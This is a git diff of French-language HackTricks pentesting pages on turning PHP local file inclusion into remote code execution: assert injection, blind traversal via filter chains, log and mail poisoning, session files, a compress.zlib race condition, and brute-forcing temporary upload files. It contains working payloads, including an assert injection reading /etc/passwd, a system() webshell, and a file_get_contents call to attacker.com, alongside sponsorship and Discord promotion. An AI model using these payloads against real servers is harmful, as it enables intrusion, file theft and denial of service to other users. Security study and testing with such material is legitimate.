Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole `phar`.
|
||||
|
||||
Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers `.phar`, veuillez consulter le document lié ci-dessous :
|
||||
|
||||
[Guide d'exploitation de la désérialisation Phar](phar-deserialization.md)
|
||||
[Guide d'Exploitation de Désérialisation Phar](phar-deserialization.md)
|
||||
|
||||
{% content-ref url="phar-deserialization.md" %}
|
||||
[phar-deserialization.md](phar-deserialization.md)
|
||||
|
@ -407,7 +407,7 @@ Consultez plus de[ **protocoles à inclure ici**](https://www.php.net/manual/en/
|
|||
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
|
||||
|
||||
## LFI via la fonction 'assert' de PHP
|
||||
## LFI via 'assert' de PHP
|
||||
|
||||
Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'on utilise la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.
|
||||
|
||||
|
@ -415,7 +415,7 @@ Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de r
|
|||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter ceci et lire le contenu des fichiers, un attaquant pourrait utiliser :
|
||||
Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter cela et lire le contenu des fichiers, un attaquant pourrait utiliser :
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
|
@ -434,26 +434,26 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux perspectives en temps réel
|
||||
Restez à jour avec le monde du hacking en évolution rapide grâce aux actualités et aux perspectives en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## Traversée de Chemin PHP en Aveugle
|
||||
## Traversée de Chemin PHP à l'Aveugle
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
|
||||
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
|
||||
{% endhint %}
|
||||
|
||||
Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin en aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin à l'aveugle peut être exploitée via le filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
||||
|
||||
En résumé, la technique utilise le codage **"UCS-4LE"** pour rendre le contenu d'un fichier si **volumineux** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
|
||||
|
||||
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
||||
|
||||
**Fonctions potentiellement vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (cible uniquement en lecture avec ceci)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (cible uniquement en lecture avec ceci)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Pour les détails techniques, consultez l'article mentionné !
|
||||
|
||||
|
@ -486,14 +486,16 @@ Autres chemins de journaux possibles:
|
|||
/var/log/nginx/error.log
|
||||
/var/log/httpd/error_log
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
|
||||
**Envoyer un e-mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer de l'inclure dans le courriel de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
**Envoyez un e-mail** à un compte interne (user@localhost) contenant votre charge utile PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez de l'inclure dans le courriel de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Téléchargez beaucoup de coquilles (par exemple : 100)
|
||||
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)
|
||||
2. Incluez [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être forcé en brute) et $FD le descripteur de fichier (peut également être forcé en brute)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
|
@ -523,7 +525,7 @@ Vérifiez si le site web utilise la session PHP (PHPSESSID)
|
|||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
En PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
Dans PHP, ces sessions sont stockées dans des fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
|
@ -572,7 +574,7 @@ Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
|
|||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via le stockage temporaire des fichiers de Nginx
|
||||
### Via le stockage temporaire de fichiers Nginx
|
||||
|
||||
Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :
|
||||
|
||||
|
@ -585,7 +587,7 @@ Si vous avez trouvé une **inclusion de fichier local** et que **Nginx** est en
|
|||
Si vous avez trouvé une **inclusion de fichier local** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans les données **POST multipart**, PHP va **activer la session pour vous**. Vous pourriez en abuser pour obtenir une RCE :
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session_upload_progress.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via les téléversements de fichiers temporaires dans Windows
|
||||
|
@ -609,7 +611,7 @@ Si vous avez trouvé une **inclusion de fichier local** et un fichier exposant *
|
|||
Si vous avez trouvé une **inclusion de fichier local** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** vérifie si le **fichier à inclure comporte des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Condition de Course** :
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via attente éternelle + force brute
|
||||
|
@ -644,9 +646,23 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités sur le piratage en temps réel**\
|
||||
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations
|
||||
Restez informé du monde du piratage en temps réel grâce aux actualités et aux analyses
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,3 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## `compress.zlib://` et `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Un fichier ouvert en utilisant le protocole `compress.zlib://` avec le drapeau `PHP_STREAM_PREFER_STDIO` peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.
|
||||
|
@ -6,7 +21,7 @@ Cela signifie qu'un appel tel que:
|
|||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
Vous enverrez une requête demandant http://attacker.com/file, puis le serveur pourrait répondre à la requête avec une réponse HTTP valide, maintenir la connexion ouverte et envoyer des données supplémentaires ultérieurement qui seront également écrites dans le fichier.
|
||||
Le serveur pourrait répondre à la requête avec une réponse HTTP valide, maintenir la connexion ouverte, et envoyer des données supplémentaires ultérieurement qui seront également écrites dans le fichier.
|
||||
|
||||
Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c:
|
||||
```c
|
||||
|
@ -18,33 +33,31 @@ Vous pouvez voir cette information dans cette partie du code php-src dans main/s
|
|||
*newstream = php_stream_temp_new();
|
||||
}
|
||||
```
|
||||
## Course à la condition de RCE
|
||||
## Course à la condition de course vers RCE
|
||||
|
||||
Ce CTF a été résolu en utilisant la technique précédente.
|
||||
[**Ce CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) a été résolu en utilisant le tour précédent.
|
||||
|
||||
L'attaquant va faire en sorte que le serveur victime ouvre une connexion pour lire un fichier depuis le serveur de l'attaquant en utilisant le protocole `compress.zlib`.
|
||||
L'attaquant fera en sorte que le **serveur victime ouvre une connexion en lisant un fichier depuis le serveur de l'attaquant** en utilisant le protocole **`compress.zlib`**.
|
||||
|
||||
Tant que cette connexion existe, l'attaquant va exfiltrer le chemin d'accès au fichier temporaire créé (celui-ci est divulgué par le serveur).
|
||||
**Pendant que** cette **connexion** existe, l'attaquant **exfiltrera le chemin** vers le fichier temporaire créé (il est divulgué par le serveur).
|
||||
|
||||
Tant que la connexion est toujours ouverte, l'attaquant va exploiter une LFI en chargeant le fichier temporaire qu'il contrôle.
|
||||
**Pendant que** la **connexion** est toujours ouverte, l'attaquant exploitera une LFI chargeant le fichier temporaire qu'il contrôle.
|
||||
|
||||
Cependant, il y a une vérification dans le serveur web qui empêche le chargement de fichiers contenant `<?`. Par conséquent, l'attaquant va exploiter une course conditionnelle. Dans la connexion qui est toujours ouverte, l'attaquant va envoyer la charge utile PHP APRÈS que le serveur web ait vérifié si le fichier contient les caractères interdits mais AVANT de charger son contenu.
|
||||
Cependant, il y a une vérification dans le serveur web qui **empêche le chargement des fichiers contenant `<?`**. Par conséquent, l'attaquant exploitera une **Condition de Course**. Dans la connexion qui est toujours ouverte, l'**attaquant** enverra la charge utile PHP **APRÈS** que le **serveur web** ait **vérifié** si le fichier contient les caractères interdits mais **AVANT de charger son contenu**.
|
||||
|
||||
Pour plus d'informations, consultez la description de la course conditionnelle et du CTF sur [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
Pour plus d'informations, consultez la description de la Condition de Course et du CTF sur [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,123 +1,102 @@
|
|||
# LFI2RCE via Attente éternelle
|
||||
# LFI2RCE via Eternal waiting
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base
|
||||
|
||||
Par défaut, lorsqu'un fichier est téléversé sur PHP (même s'il ne l'attend pas), il générera un fichier temporaire dans `/tmp` avec un nom tel que **`php[a-zA-Z0-9]{6}`**, bien que j'aie vu des images docker où les fichiers générés ne contiennent pas de chiffres.
|
||||
Par défaut, lorsqu'un fichier est téléchargé sur PHP (même s'il ne s'y attend pas), il générera un fichier temporaire dans `/tmp` avec un nom tel que **`php[a-zA-Z0-9]{6}`**, bien que j'aie vu certaines images Docker où les fichiers générés ne contiennent pas de chiffres.
|
||||
|
||||
Dans une inclusion de fichier local, **si vous parvenez à inclure ce fichier téléversé, vous obtiendrez un RCE**.
|
||||
Dans une inclusion de fichier local, **si vous parvenez à inclure ce fichier téléchargé, vous obtiendrez une RCE**.
|
||||
|
||||
Notez que par défaut **PHP ne permet de téléverser que 20 fichiers dans une seule requête** (défini dans `/etc/php/<version>/apache2/php.ini`) :
|
||||
Notez que par défaut, **PHP autorise uniquement le téléchargement de 20 fichiers dans une seule requête** (défini dans `/etc/php/<version>/apache2/php.ini`):
|
||||
```
|
||||
; Maximum number of files that can be uploaded via a single request
|
||||
max_file_uploads = 20
|
||||
```
|
||||
Aussi, **le nombre de noms de fichiers potentiels est de 62\*62\*62\*62\*62\*62 = 56800235584**
|
||||
|
||||
### Autres techniques
|
||||
|
||||
D'autres techniques reposent sur l'attaque de protocoles PHP (vous ne pourrez pas si vous contrôlez uniquement la dernière partie du chemin), la divulgation du chemin du fichier, l'exploitation de fichiers attendus, ou **faire en sorte que PHP subisse une faute de segmentation pour que les fichiers temporaires téléchargés ne soient pas supprimés**.\
|
||||
Cette technique est **très similaire à la précédente mais sans avoir besoin de trouver un zero day**.
|
||||
|
||||
### Technique de l'attente éternelle
|
||||
|
||||
Dans cette technique, **nous avons seulement besoin de contrôler un chemin relatif**. Si nous parvenons à télécharger des fichiers et à faire en sorte que **l'inclusion LFI ne se termine jamais**, nous aurons "suffisamment de temps" pour **forcer le passage des fichiers téléchargés** et **trouver** l'un des fichiers téléchargés.
|
||||
Dans cette technique, **nous avons seulement besoin de contrôler un chemin relatif**. Si nous parvenons à télécharger des fichiers et à **faire en sorte que l'inclusion LFI ne se termine jamais**, nous aurons "suffisamment de temps" pour **forcer la brute-force des fichiers téléchargés** et **trouver** n'importe lequel des fichiers téléchargés.
|
||||
|
||||
**Avantages de cette technique**:
|
||||
|
||||
* Vous avez juste besoin de contrôler un chemin relatif dans une inclusion
|
||||
* Ne nécessite pas nginx ou un niveau d'accès inattendu aux fichiers journaux
|
||||
* Ne nécessite pas un zero day pour provoquer une faute de segmentation
|
||||
* Ne nécessite pas une divulgation de chemin
|
||||
- Vous avez juste besoin de contrôler un chemin relatif à l'intérieur d'une inclusion
|
||||
- Ne nécessite pas nginx ou un niveau d'accès inattendu aux fichiers journaux
|
||||
- Ne nécessite pas un jour zéro pour provoquer une erreur de segmentation
|
||||
- Ne nécessite pas de divulgation de chemin
|
||||
|
||||
Les **principaux problèmes** de cette technique sont:
|
||||
|
||||
* Nécessité qu'un fichier spécifique soit présent (il pourrait y en avoir d'autres)
|
||||
* Le nombre **insensé** de noms de fichiers potentiels : **56800235584**
|
||||
* Si le serveur **n'utilise pas de chiffres** le nombre total potentiel est de : **19770609664**
|
||||
* Par défaut, **seulement 20 fichiers** peuvent être téléchargés dans une **seule requête**.
|
||||
* Le **nombre maximum de travailleurs parallèles** du serveur utilisé.
|
||||
* Cette limite avec les précédentes peut rendre cette attaque trop longue
|
||||
* **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou devrait tuer le processus PHP sans supprimer les fichiers temporairement téléchargés, sinon, cela sera également un problème
|
||||
- Besoin d'un ou de plusieurs fichiers spécifiques à être présents (il pourrait y en avoir plus)
|
||||
- La **quantité folle** de noms de fichiers potentiels: **56800235584**
|
||||
- Si le serveur **n'utilise pas de chiffres**, le nombre total potentiel est de: **19770609664**
|
||||
- Par défaut, **seuls 20 fichiers** peuvent être téléchargés dans une **seule requête**.
|
||||
- Le **nombre maximal de travailleurs parallèles** du serveur utilisé.
|
||||
- Cette limite avec les précédentes peut rendre cette attaque trop longue
|
||||
- **Délai d'attente pour une requête PHP**. Idéalement, cela devrait être éternel ou devrait arrêter le processus PHP sans supprimer les fichiers téléchargés temporaires, sinon, cela sera également une douleur
|
||||
|
||||
Alors, comment pouvez-vous **faire en sorte qu'une inclusion PHP ne se termine jamais** ? Tout simplement en incluant le fichier **`/sys/kernel/security/apparmor/revision`** (**malheureusement non disponible dans les conteneurs Docker**).
|
||||
Alors, comment **faire en sorte qu'une inclusion PHP ne se termine jamais**? Simplement en incluant le fichier **`/sys/kernel/security/apparmor/revision`** (**pas disponible dans les conteneurs Docker** malheureusement...).
|
||||
|
||||
Essayez-le en appelant :
|
||||
Essayez simplement en appelant:
|
||||
```bash
|
||||
php -a # open php cli
|
||||
include("/sys/kernel/security/apparmor/revision");
|
||||
```
|
||||
## Apache2
|
||||
|
||||
Par défaut, Apache supporte **150 connexions simultanées**, en suivant [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) il est possible d'augmenter ce nombre jusqu'à 8000. Suivez ceci pour utiliser PHP avec ce module : [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
Par défaut, Apache prend en charge **150 connexions simultanées**, suivant [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/), il est possible d'augmenter ce nombre jusqu'à 8000. Suivez ceci pour utiliser PHP avec ce module : [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04).
|
||||
|
||||
Par défaut, (comme je peux le voir dans mes tests), un **processus PHP peut durer éternellement**.
|
||||
|
||||
Faisons quelques calculs :
|
||||
|
||||
* Nous pouvons utiliser **149 connexions** pour générer **149 \* 20 = 2980 fichiers temporaires** avec notre webshell.
|
||||
* Ensuite, utiliser la **dernière connexion** pour **forcer brutalement** les fichiers potentiels.
|
||||
* Ensuite, utilisez la **dernière connexion** pour **brute-force** les fichiers potentiels.
|
||||
* À une vitesse de **10 requêtes/s**, les temps sont :
|
||||
* 56800235584 / 2980 / 10 / 3600 ≈ **530 heures** (50% de chance en 265h)
|
||||
* (sans chiffres) 19770609664 / 2980 / 10 / 3600 ≈ 185h (50% de chance en 93h)
|
||||
* 56800235584 / 2980 / 10 / 3600 ≈ **530 heures** (50% de chances en 265h)
|
||||
* (sans chiffres) 19770609664 / 2980 / 10 / 3600 ≈ 185h (50% de chances en 93h)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que dans l'exemple précédent, nous sommes en train de **DoS complètement les autres clients** !
|
||||
Notez que dans l'exemple précédent, nous **saturons complètement les autres clients** !
|
||||
{% endhint %}
|
||||
|
||||
Si le serveur Apache est amélioré et que nous pouvions abuser de **4000 connexions** (à mi-chemin du maximum). Nous pourrions créer `3999*20 = 79980` **fichiers** et le **nombre** serait **réduit** à environ **19.7h** ou **6.9h** (10h, 3.5h 50% de chance).
|
||||
Si le serveur Apache est amélioré et que nous pouvons abuser de **4000 connexions** (à mi-chemin du nombre maximal), nous pourrions créer `3999*20 = 79980` **fichiers** et le **nombre** serait **réduit** à environ **19,7h** ou **6,9h** (10h, 3,5h 50% de chances).
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
Si au lieu d'utiliser le module php régulier pour apache pour exécuter des scripts PHP, **la page web utilise** **PHP-FMP** (cela améliore l'efficacité de la page web, donc il est courant de le trouver), il y a autre chose qui peut être fait pour améliorer la technique.
|
||||
Si au lieu d'utiliser le module php régulier pour apache pour exécuter des scripts PHP, la **page web utilise PHP-FMP** (ce qui améliore l'efficacité de la page web, il est donc courant de le trouver), il y a quelque chose d'autre qui peut être fait pour améliorer la technique.
|
||||
|
||||
